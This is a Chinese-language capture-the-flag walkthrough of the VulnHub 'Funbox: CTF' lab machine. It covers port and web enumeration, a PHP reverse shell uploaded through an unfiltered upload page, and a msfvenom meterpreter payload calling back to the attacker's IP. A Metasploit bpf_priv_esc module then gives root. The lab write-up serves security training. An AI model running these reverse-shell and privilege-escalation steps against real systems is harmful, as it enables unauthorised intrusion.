Funbox 4靶机信息

名称:Funbox: CTF

URL:

https://www.vulnhub.com/entry/funbox-ctf,546/

识别靶机IP地址

将靶机导入 VirtualBox。配置其网卡为主机模式配置。启动 Kali Linux 和靶机。

内置 netdiscovery工具 可以将靶机的 IP 地址识别为 192.168.56.150。

(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                               3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                             _____________________________________________________________________________   IP            At MAC Address     Count     Len  MAC Vendor / Hostname       ----------------------------------------------------------------------------- 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                            192.168.56.100  08:00:27:4e:f4:34      1      60  PCS Systemtechnik GmbH                                                                                    192.168.56.150  08:00:27:4e:a2:f4      1      60  PCS Systemtechnik GmbH           

NMAP 扫描

利用NMAP工具进行全端口扫描:

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ sudo nmap -sS -sV -sC -p- 192.168.56.150 -oN nmap_full_scanStarting Nmap 7.92 ( https://nmap.org ) at 2023-05-06 02:45 EDTNmap scan report for bogon (192.168.56.150)Host is up (0.00024s latency).Not shown: 65531 closed tcp ports (reset)PORT    STATE SERVICE VERSION22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   2048 f6:b3:8f:f1:e3:b7:6c:18:ee:31:22:d3:d4:c9:5f:e6 (RSA)|   256 45:c2:16:fc:3e:a9:fc:32:fc:36:fb:d7:ce:4f:2b:fe (ECDSA)|_  256 4f:f8:46:72:22:9f:d3:10:51:9c:49:e0:76:5f:25:33 (ED25519)80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))|_http-title: Apache2 Ubuntu Default Page: It works|_http-server-header: Apache/2.4.18 (Ubuntu)110/tcp open  pop3    Dovecot pop3d|_pop3-capabilities: PIPELINING AUTH-RESP-CODE UIDL TOP SASL CAPA RESP-CODES143/tcp open  imap    Dovecot imapd|_imap-capabilities: have SASL-IR capabilities LOGIN-REFERRALS IDLE ENABLE post-login OK LITERAL+ Pre-login listed ID more LOGINDISABLEDA0001 IMAP4rev1MAC Address: 08:00:27:4E:A2:F4 (Oracle VirtualBox virtual NIC)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 9.70 seconds

NMAP扫描结果表明目标主机有4个开放端口:

22(ssh),80(http),110(pop3),143(imap)

获得Shell

└─$ nikto -h http://192.168.56.150- Nikto v2.1.6---------------------------------------------------------------------------+ Target IP:          192.168.56.150+ Target Hostname:    192.168.56.150+ Target Port:        80+ Start Time:         2023-05-06 02:46:11 (GMT-4)---------------------------------------------------------------------------+ Server: Apache/2.4.18 (Ubuntu)+ The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ No CGI Directories found (use '-C all' to force check all possible dirs)+ Server may leak inodes via ETags, header found with file /, inode: 2c39, size: 5ae05b2177aa4, mtime: gzip+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3233: /icons/README: Apache default file found.+ 7915 requests: 0 error(s) and 7 item(s) reported on remote host+ End Time:           2023-05-06 02:47:07 (GMT-4) (56 seconds)---------------------------------------------------------------------------

其实作者给出了一个提示,即本靶机nikto时区分大小写。虽然/robots.txt文件不存在,看可测试大写字母的ROBOTS.TXT是否存在。

──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ curl http://192.168.56.150/ROBOTS.TXT    Disallow: upload/Disallow: igmseklhgmrjmtherij2145236
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ curl http://192.168.56.150/igmseklhgmrjmtherij2145236/403 Forbidden

Forbidden

You don't have permission to access /igmseklhgmrjmtherij2145236/on this server.


Apache/2.4.18 (Ubuntu) Server at 192.168.56.150 Port 80

但是访问 igmseklhgmrjmtherij2145236 返回 forbidden的信息,因此可能该目录下存在子目录或者文件,继续用gobuster工具扫描.

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ gobuster dir -u http://192.168.56.150/igmseklhgmrjmtherij2145236/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.bak,.js,.txt,.sh===============================================================Gobuster v3.5by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url:                     http://192.168.56.150/igmseklhgmrjmtherij2145236/[+] Method:                  GET[+] Threads:                 10[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[+] Negative Status codes:   404[+] User Agent:              gobuster/3.5[+] Extensions:              php,html,bak,js,txt,sh[+] Timeout:                 10s===============================================================2023/05/06 03:04:36 Starting gobuster in directory enumeration mode===============================================================/.html                (Status: 403) [Size: 321]/.php                 (Status: 403) [Size: 320]/upload.html          (Status: 200) [Size: 297]/upload               (Status: 301) [Size: 344] [--> http://192.168.56.150/igmseklhgmrjmtherij2145236/upload/]/upload.php           (Status: 200) [Size: 319]Progress: 11663 / 1543927 (0.76%)^C[!] Keyboard interrupt detected, terminating.

上述目录下发现了/upload子目录以及upload.php 文件,后者允许我们上传文件,而且没有任何过滤机制,因此接下来就是上次shell.php文件,但是该文件放在什么位置呢,注意到有/upload子目录,可能在该子目录下,经访问验证了这一点:

http://192.168.56.150/igmseklhgmrjmtherij2145236/upload/shell.php

在Kali Linux上成功得到了目标主机反弹回来的shell.

┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ sudo nc -nlvp 5555                                         [sudo] password for kali: listening on [any] 5555 ...connect to [192.168.56.230] from (UNKNOWN) [192.168.56.150] 48272Linux funbox4 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux 09:08:17 up 26 min,  0 users,  load average: 1.13, 1.81, 2.70USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can't access tty; job control turned off$ which python/usr/bin/python$ python -c 'import pty;pty.spawn("/bin/bash")'www-data@funbox4:/$ cd /homecd /homewww-data@funbox4:/home$ ls -alhls -alhtotal 16Kdrwxr-xr-x  4 root   root   4.0K Aug 29  2020 .drwxr-xr-x 23 root   root   4.0K May  6 09:07 ..drwx------  4 anna   anna   4.0K Aug 30  2020 annadrwxr-xr-x  4 thomas thomas 4.0K Aug 30  2020 thomaswww-data@funbox4:/home$ cd annacd annabash: cd: anna: Permission deniedwww-data@funbox4:/home$ cd thomascd thomaswww-data@funbox4:/home/thomas$ ls -alhls -alhtotal 3.0Mdrwxr-xr-x 4 thomas thomas 4.0K Aug 30  2020 .drwxr-xr-x 4 root   root   4.0K Aug 29  2020 ..-rw------- 1 thomas thomas   46 Aug 30  2020 .bash_history-rw-r--r-- 1 thomas thomas  220 Aug 29  2020 .bash_logout-rw-r--r-- 1 thomas thomas 3.7K Aug 29  2020 .bashrcdrwx------ 2 thomas thomas 4.0K Aug 29  2020 .cache-rw-r--r-- 1 thomas thomas  675 Aug 29  2020 .profiledrwx------ 2 thomas thomas 4.0K Aug 30  2020 .ssh-rw-r--r-- 1 thomas thomas  195 Aug 29  2020 .todo-rw------- 1 thomas thomas 1.3K Aug 30  2020 .viminfo-rw-rw-r-- 1 thomas thomas  217 Aug 30  2020 .wget-hsts-rwx------ 1 thomas thomas 3.0M Aug 22  2019 pspy64

Privilege Escalation

www-data@funbox4:/$ cat hint.txtcat hint.txtThe OS beard ist whiter and longer as Gandalfs one !Perhaps, its possible to get root from here. I doesnt look forward to see this in the writeups/walktroughs, but this is murpys law !Now, rockyou.txt isnt your friend. Its a little sed harder :-)If you need more brainfuck: Take this:++++++++++[>+>+++>+++++++>++++++++++<<<>>++++++++++++++.>++++.---.<>+++++++++.---------.+++++++++++++++++++.----.<>------------.+.+++++.++++++.<>-----------.++++++++++.<>-------.+++.------------.--.+++++++++++++++++++.---------------.-.<>+++++.+++++.<<++++++++++++++++++++++++++.Bit more ?Tm8gaGludHMgaGVyZSAhCg==Not enough ?KNSWC4TDNAQGM33SEB2G6ZDPOMXA====
++++++++++[>+>+++>+++++++>++++++++++<<<>>++++++++++++++.>++++.---.<>+++++++++.---------.+++++++++++++++++++.----.<>------------.+.+++++.++++++.<>-----------.++++++++++.<>-------.+++.------------.--.+++++++++++++++++++.---------------.-.<>+++++.+++++.<<++++++++++++++++++++++++++.

利用下面的网站解码上述信息(brainfuck):

https://www.splitbrain.org/services/ook

解码得到

The next hint is located in:
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ echo 'Tm8gaGludHMgaGVyZSAhCg==' | base64 -dNo hints here !
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ echo 'KNSWC4TDNAQGM33SEB2G6ZDPOMXA====' | base32 -dSearch for todos.    

但是其实这些虽然成功解码,没什么价值,是作者故意留的一些陷阱。下一步将已经得到的shell升级到meterpreter,不过本靶机特殊的是,靶机上没有wget, curl等工具,可以用upload.php页面来上传文件:

─(kali㉿kali)-[~/Desktop/Vulnhub/Funbox4]└─$ msfvenom -p  linux/x86/meterpreter/reverse_tcp  LHOST=192.168.56.230 LPORT=6666 -f elf -o escalate.elf

将escalate.elf载荷上传到目标主机/tmp目录下,并修改权限 .

www-data@funbox4:/var/www/html/igmseklhgmrjmtherij2145236$ cd uploadcd uploadwww-data@funbox4:/var/www/html/igmseklhgmrjmtherij2145236/upload$ ls -alhls -alhtotal 20Kdrwxrwxrwx 2 root     root     4.0K May  6 09:25 .drwxr-xr-x 3 root     root     4.0K Aug 29  2020 ..-rw-r--r-- 1 www-data www-data  207 May  6 09:25 escalate.elf-rw-r--r-- 1 www-data www-data 5.4K May  6 09:07 shell.phpwww-data@funbox4:/var/www/html/igmseklhgmrjmtherij2145236/upload$ mv escalate.elf /tmp<tml/igmseklhgmrjmtherij2145236/upload$ mv escalate.elf /tmp                 www-data@funbox4:/var/www/html/igmseklhgmrjmtherij2145236/upload$ cd /tmpcd /tmpwww-data@funbox4:/tmp$ chmod +x escalate.elfchmod +x escalate.elfwww-data@funbox4:/tmp$ 

同时在Kali Linux启动handler, 等待目标主机的连接。

msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler):   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------Payload options (linux/x86/meterpreter/reverse_tcp):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LHOST                   yes       The listen address (an interface may be specified)   LPORT  4444             yes       The listen portExploit target:   Id  Name   --  ----   0   Wildcard Targetmsf6 exploit(multi/handler) > set LhOST 192.168.56.230LhOST => 192.168.56.230msf6 exploit(multi/handler) > set LPORT 6666LPORT => 6666msf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 192.168.56.230:6666 

在目标主机shell中执行载荷,然后利用suggester模块定位合适的提权模块

msf6 exploit(multi/handler) > search suggesterMatching Modules================   #  Name                                      Disclosure Date  Rank    Check  Description   -  ----                                      ---------------  ----    -----  -----------   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit SuggesterInteract with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggestermsf6 exploit(multi/handler) > use  post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) > show options Module options (post/multi/recon/local_exploit_suggester):   Name             Current Setting  Required  Description   ----             ---------------  --------  -----------   SESSION                           yes       The session to run this module on   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploitsmsf6 post(multi/recon/local_exploit_suggester) > set SESSION 1SESSION => 1msf6 post(multi/recon/local_exploit_suggester) > run[*] 192.168.56.150 - Collecting local exploits for x86/linux...[*] 192.168.56.150 - 167 exploit checks are being tried...[+] 192.168.56.150 - exploit/linux/local/bpf_priv_esc: The target appears to be vulnerable.[+] 192.168.56.150 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.[+] 192.168.56.150 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.[+] 192.168.56.150 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable.[+] 192.168.56.150 - exploit/linux/local/pkexec: The service is running, but could not be validated.[+] 192.168.56.150 - exploit/linux/local/su_login: The target appears to be vulnerable.[*] Running check method for exploit 48 / 48[*] 192.168.56.150 - Valid modules for session 1:============================ #   Name                                                               Potentially Vulnerable?  Check Result -   ----                                                               -----------------------  ------------ 1   exploit/linux/local/bpf_priv_esc                                   Yes                      The target appears to be vulnerable. 2   exploit/linux/local/bpf_sign_extension_priv_esc                    Yes                      The target appears to be vulnerable. 3   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable. 4   exploit/linux/local/glibc_realpath_priv_esc                        Yes                      The target appears to be vulnerable. 5   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated. 6   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
msf6 post(multi/recon/local_exploit_suggester) >  use exploit/linux/local/bpf_priv_esc[*] Using configured payload linux/x64/meterpreter/reverse_tcpmsf6 exploit(linux/local/bpf_priv_esc) > show options Module options (exploit/linux/local/bpf_priv_esc):   Name     Current Setting  Required  Description   ----     ---------------  --------  -----------   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)   MAXWAIT  120              yes       Max time to wait for decrementation in seconds   SESSION                   yes       The session to run this module onPayload options (linux/x64/meterpreter/reverse_tcp):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LHOST                   yes       The listen address (an interface may be specified)   LPORT  4444             yes       The listen portExploit target:   Id  Name   --  ----   1   Linux x64msf6 exploit(linux/local/bpf_priv_esc) > set LHOST 192.168.56.230LHOST => 192.168.56.230msf6 exploit(linux/local/bpf_priv_esc) > set LPORT 8888LPORT => 8888msf6 exploit(linux/local/bpf_priv_esc) > set SESSION 1SESSION => 1msf6 exploit(linux/local/bpf_priv_esc) > run[*] Started reverse TCP handler on 192.168.56.230:8888 [*] Running automatic check ("set AutoCheck false" to disable)[+] The target appears to be vulnerable.[-] libfuse-dev is not installed.  Compiling will fail.[*] Writing '/tmp/hello' (9576 bytes) ...[*] Writing '/tmp/doubleput' (13920 bytes) ...[*] Writing '/tmp/suidhelper' (25792 bytes) ...[*] Writing '/tmp/.dSu6XHZTXdNaEU' (282 bytes) ...[*] Launching exploit. This may take up to 120 seconds.[!] This module adds a job to /etc/crontab which requires manual removal![+] Success! set-uid root /tmp/suidhelper[*] Sending stage (3020772 bytes) to 192.168.56.150[+] Deleted /tmp/hello[+] Deleted /tmp/doubleput[+] Deleted /tmp/.dSu6XHZTXdNaEU[*] Meterpreter session 2 opened (192.168.56.230:8888 -> 192.168.56.150:53458) at 2023-05-06 03:36:04 -0400meterpreter > shellProcess 10780 created.Channel 1 created.iduid=0(root) gid=0(root) groups=0(root),33(www-data)cd /rootls -alhtotal 36Kdrwx------  3 root root 4.0K Aug 30  2020 .drwxr-xr-x 23 root root 4.0K May  6 09:07 ..-rw-------  1 root root 1.9K Aug 30  2020 .bash_history-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrcdrwx------  2 root root 4.0K Aug 30  2020 .cache-rw-r--r--  1 root root  148 Aug 17  2015 .profile-rw-------  1 root root 6.4K Aug 30  2020 .viminfo-rw-r--r--  1 root root  430 Aug 29  2020 flag.txtcat flag.txt(  _`\              ( )                       (  _`\(_   _)(  _`\ | (_(_)_   _   ___  | |_      _          _    | ( (_) | |  | (_(_)|  _) ( ) ( )/' _ `\| '_`\  /'_`\ (`\/')(_)   | |  _  | |  |  _)  | |   | (_) || ( ) || |_) )( (_) ) >  <  _    | (_( ) | |  | |    (_)   `\___/'(_) (_)(_,__/'`\___/'(_/\_)(_)   (____/' (_)  (_)    Well done ! Made with ❤ by @0815R2d2 ! I look forward to see this screenshot on twitter ;-)

STRIVE FOR PROGRESS,NOT FOR PERFECTION